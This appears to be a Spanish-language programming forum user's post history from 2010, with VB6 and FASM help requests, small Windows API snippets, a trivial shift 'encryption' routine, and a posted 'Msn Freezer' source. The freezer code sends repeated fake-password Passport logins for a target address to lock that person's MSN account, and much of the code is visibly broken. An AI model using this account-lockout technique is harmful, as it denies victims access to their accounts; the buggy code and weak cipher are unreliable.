|
81
|
Programación / Programación Visual Basic / Ayuda apis winsock
|
en: 4 Agosto 2010, 00:59 am
|
Holas a todos... estoy intentando hacer un servidor usando las api de winsock, pero me falla la api Bind.... nose que estoy haciendo mal ya que lo e revisado unas 10 o 12 veces y nose que podra estar sucediendo, haber si usatedes lo saben, codigo: Option Explicit Private Declare Function WSAStartup Lib "WSOCK32" (ByVal wVersionRequired As Long, lpWSADATA As WSAData) As Long Private Declare Function socket Lib "wsock32.dll" (ByVal af As Long, ByVal s_type As Long, ByVal protocol As Long) As Long Private Declare Function htons Lib "wsock32.dll" (ByVal hostshort As Long) As Integer Private Declare Function Bind Lib "wsock32.dll" Alias "bind" (ByVal s As Long, ByRef name As sockaddr, ByVal namelen As Long) As Long Private Const MAX_WSADescription = 256 Private Const MAX_WSASYSStatus = 128 Private Const WS_VERSION_REQD As Long = &H101 Private Const AF_INET As Long = 2 Private Const SOCK_STREAM As Long = 1 Private Const IPPROTO_TCP As Long = 6 Private Const INADDR_ANY As Long = &H0 Private Type sockaddr sin_family As Integer sin_port As Integer sin_addr As Long sin_zero As String * 8 End Type Private Type WSAData wVersion As Integer wHighVersion As Integer szDescription(0 To MAX_WSADescription) As Byte szSystemStatus(0 To MAX_WSASYSStatus) As Byte wMaxSockets As Integer wMaxUDPDG As Integer dwVendorInfo As Long End Type Public Function Dsocket() As Boolean Dim IniciarSocket As Integer Dim WSAS As WSAData Dim sock As Integer Dim sa As sockaddr IniciarSocket = WSAStartup(WS_VERSION_REQD, WSAS) sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) sa.sin_family = AF_INET sa.sin_addr = INADDR_ANY sa.sin_port = htons(22233) If (Bind(sock, sa, LenB(sa)) = -1) Then MsgBox "error": Exit Function End If Exit Function error: Exit Function End Function Private Sub form_load() Dsocket End Sub
salu2! y esperando respuesta.
|
|
|
83
|
Programación / ASM / PRoblema en fasm intentando usar consola
|
en: 1 Agosto 2010, 20:39 pm
|
Holas.... bueno estoy intentando crear en asm una consola con las api de windows... , la genera bien y todo pero no puedo imprimir cosas en la consola y nose porque es, aqui les dejo el codigo haber si ustedes saben solucionarlo. include 'c:\archivos de programa\include\win32ax.inc' .data msgerror db 'No se a encontrado la consola',0 tituloerror db 'Error',0 tituloconsola db 'Drinky Console in Asm',0 linea db 'Esta es mi consola!',0 hwnd dd ? escribe dd ? longitud dd ? .code start: invoke AllocConsole invoke GetStdHandle,STD_INPUT_HANDLE cmp eax,0 ja correcto jbe incorrecto correcto: mov [hwnd],eax invoke SetConsoleTitle,tituloconsola invoke lstrlen,linea mov [longitud],eax invoke WriteConsole,hwnd,linea,longitud,[escribe],NULL ; Esta es la linea que creo que falla jmp fin incorrecto: invoke MessageBoxA,0,msgerror,tituloerror,MB_ICONERROR jmp fin fin: ret .end start
salu2! y esperando respuesta.
|
|
|
86
|
Programación / Programación Visual Basic / No me lee archivo
|
en: 22 Abril 2010, 21:15 pm
|
Hola, tengo el siguiente problema, estoy intentando leer un mediante api pero nose porqeu demonios no me coje los datos, este es el code: Option Explicit Public Declare Function CreateFile Lib "kernel32.dll" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long Public Declare Function ReadFile Lib "kernel32.dll" (ByVal hFile As Long, ByRef lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, ByRef lpNumberOfBytesRead As Long, ByRef lpOverlapped As Any) As Long Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Public Const GENERIC_READ = &H80000000 Public Const FILE_SHARE_READ = &H1 Public Const FILE_ATTRIBUTE_NORMAL = &H80 Public Const OPEN_EXISTING As Long = 3 Public Type SECURITY_ATTRIBUTES nLength As Long lpSecurityDescriptor As Long bInheritHandle As Long End Type Public Type OVERLAPPED ternal As Long ternalHigh As Long offset As Long OffsetHigh As Long hEvent As Long End Type Public Function Archivo(ruta As String) As Boolean Dim abrirarchivo As Long Dim sa As SECURITY_ATTRIBUTES Dim leerarchivo As Long Dim over As OVERLAPPED Dim buffer As String Dim nada As Long Dim bytesleidos As Long abrirarchivo = CreateFile(ruta, GENERIC_READ, FILE_SHARE_READ, sa, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0) buffer = Space(FileLen(ruta)) leerarchivo = ReadFile(abrirarchivo, buffer, nada, bytesleidos, over) Call CloseHandle(abrirarchivo) MsgBox buffer End Function Sub Main() Call Archivo("c:\feo.txt") End Sub
espero vuestra ayuda. salu2!
|
|
|
88
|
Programación / Programación Visual Basic / [MINI SOURCE]Cambiar el nombre a una ventana
|
en: 28 Febrero 2010, 18:26 pm
|
Hola gente esta tarde me aburria y m e puesto a hacer este pequeño code, cirve para cambiarle el texto a una ventana. Usa dos Apis Findwindow para recuperar el handle de la ventana y Setwindowtext para cambiar el nombre. Si mas que hablar les dejo el code.. Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" ( _ ByVal hwnd As Long, _ ByVal lpString As String) As Long Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _ ByVal lpClassName As String, _ ByVal lpWindowName As String) As Long Private Sub Command1_Click() Dim drinky As String, handle As long handle = FindWindow(vbNullString, "Calculadora") drinky = SetWindowText(handle, "Drinky94 ;)") End Sub
Nos vemos... Salu2!
|
|
|
89
|
Programación / Programación Visual Basic / Encryptdecrypt encryptador y desencryptador de cadenas
|
en: 14 Febrero 2010, 20:21 pm
|
Bueno, despues de ver el algoritmo de Blackzerox para encryptar y desencryptar cadenas decidi acer yo un ocde tambien, aqui se lo dejo, es 100% funcional. Espero que les gute: '******************************************* '** Funcion: Algoritmo simple ** '** fecha: 14-2-2010 ** '** Autor: Drinky94 ** '** Email: Drinky.94:-com ** '******************************************* Option Explicit Dim datos As String Enum estado encryptar = 1 desencryptar = 2 End Enum Public Function Encryptdecrypt(ByRef cadena As String, ByRef modo As estado) Dim longitudcadena As String, formarcadena As String, caracter As String, i As Integer Dim drinky As String, adaptar As String longitudcadena = Len(cadena) If modo = 1 Then For i = 1 To longitudcadena caracter = Mid(cadena, i, longitudcadena) formarcadena = Asc(caracter) + longitudcadena drinky = Chr(formarcadena) datos = datos + drinky Next i MsgBox "Su texto encryptado es: " & datos Else For i = 1 To longitudcadena caracter = Mid(datos, i, longitudcadena) formarcadena = Asc(caracter) - longitudcadena drinky = Chr(formarcadena) datos = datos + drinky Next i adaptar = Mid(datos, longitudcadena + 1, longitudcadena) MsgBox "Su texto desencryptado es: " & adaptar End If End Function y aqui les dejo un ejemplo de su uso: Private Sub Command1_Click() Call Encryptdecrypt(Text1, encryptar) End Sub Como ven es muy sencillo de usar. Espero que les haya gustado. salu2!
|
|
|
90
|
Programación / Programación Visual Basic / [SOURCE] [CPH] Msn Freezer
|
en: 8 Febrero 2010, 22:46 pm
|
Hola, bueno ace unos dias programe un congelador de msn desde 0... aqui os dejo el source: '************************************************* '**** Programado por Drinky94 **** '************************************************* Option Explicit Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Dim Mensaje As String Private Sub banear_click() If text1 = "" Then MsgBox "No ha insertado ningun msn", vbExclamation, "[CPH] Msn Freezer: Error" Else If intr(text1, "@") = True Then WS.Close WS.remotehost = messenger.hotmail.com WS.remoteport = 1863 WS.Connect Call parte1 Else MsgBox "Inserte una direccion de correo valida", vbExclamation, "[CPH] Msn Freezer: Error" End If End Sub Private Sub desbanear_click() On Error GoTo err WS.Close WS2.Close WS3.Close timer1.Enabled = False MsgBox "La cuenta a sido desbloqueada con exito", vbInformation, "[CPH] Msn Freezer: La cuenta ha sido desbloqueada con exito" err: MsgBox "El programa a detectado un error y debe cerrarse", vbCritical, "[CPH] Msn Freezer: Error" End End Sub Private Sub parte1() WS.senddata = ">>VER 1 MSNP9 MSNP8 CVR0" End Sub Private Sub parte2() WS.senddata = ">>CVR 2 0X0C0A winnt 5.1 i386 MSNMSGR 6.0.0602 MSMSGS" & text1 & ":-com" End Sub Private Sub parte3() WS.senddata = ">>USR 3 TWN I" & text1 End Sub Private Sub parte4() WS2.Close WS2.remotehost = "207.46.106.35" WS2.remoteport = 1863 Call parte5 End Sub Private Sub parte5() WS2.senddata = ">>VER 4 MSNP9 MSNP8 CVR0" End Sub Private Sub parte6() WS2.senddata = ">>CVR 5 0x0409 win i386 MSNMSGR 5.0.0544 MSMSGS" & text1 End Sub Private Sub parte7() WS2.senddata = ">>USR 6 TWN I" & text1 End Sub Private Sub parte8() WS3.Close WS3.remotehost = "login.passport.com" WS3.remoteport = 433 WS3.Connect timer1.Enabled = True timer1.Interval = 1000 End Sub Private Sub timer1_timer() WS3.senddata = ">>GET /login2.srf HTTP/1.0 Accept: */* Host: login.pasport.com User Agent: loquesea Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmesenger%2Emsn%2Ecom,sing-in=" & text1 & ",pwd:" & "contraseñafalsaaenviartienequeserdificilparaquenuncacoincida,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1139411464,kpp=1,kv=7,ver=2.1.6000.1,rn=NFNw1dnJ,tpf=773901fc3222b6a78f24f3f9955ca7c9" End Sub Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long) Call Winsock1.GetData(Mensaje) Select Case mensage Case "<<VER 1 MSNP9 MSNP8 CVR0" Call parte2 Case "<<CVR 2 7.5.0311 7.50311 6.2.0205 http://msgr.dlservicemicrosoft.com/download/e/7/5e75042c3-31c1-4b42-a458-adbc-786322fe/install_MSN_Messenger.EXE http://messenger.msn.com/es" Call parte3 Case "<<XFR 3 NS 207.46.106.35:1863 0 207.46.104.20:1863" Call parte4 End Select End Sub Private Sub WS2_DataArrival(Index As Integer, ByVal bytesTotal As Long) Call Winsock1.GetData(Mensaje) Case "<<VER 4 MSNP9 MSNP8 CVR0" Call parte6 Case "<<CVR 5 6.00602 1.0.0000 http://download.microsoft.com/download/8/a/4/8a42bcae-f533-4468-b871-d2bc-8dd32e9e/SETUP9x.EXE http://messenger.msn.com" Call parte7 Case "<<URS 5 TWN S lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%messenger%2Emsn%2ecom,ct=113941464,kpp=1,kv=7,ver=2.1.6000.1,rn=NFNw1dnJ,tpf=773901fc3222b6a78f24f3f9955ca7c9" End Sub Private Sub WS2_DataArrival(Index As Integer, ByVal bytesTotal As Long) Call Winsock1.GetData(Mensaje) Case mensage Call parte8 End Sub Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long) Winsock1.LocalPort = 0 Winsock1.Accept requestID End Sub Private Sub form_load() With ProgressBar1 .Max = 100 .Min = 0 .Value = 0 End With End Sub Espero que les haya gustado... salu2!
|
|
|
|
|
|
|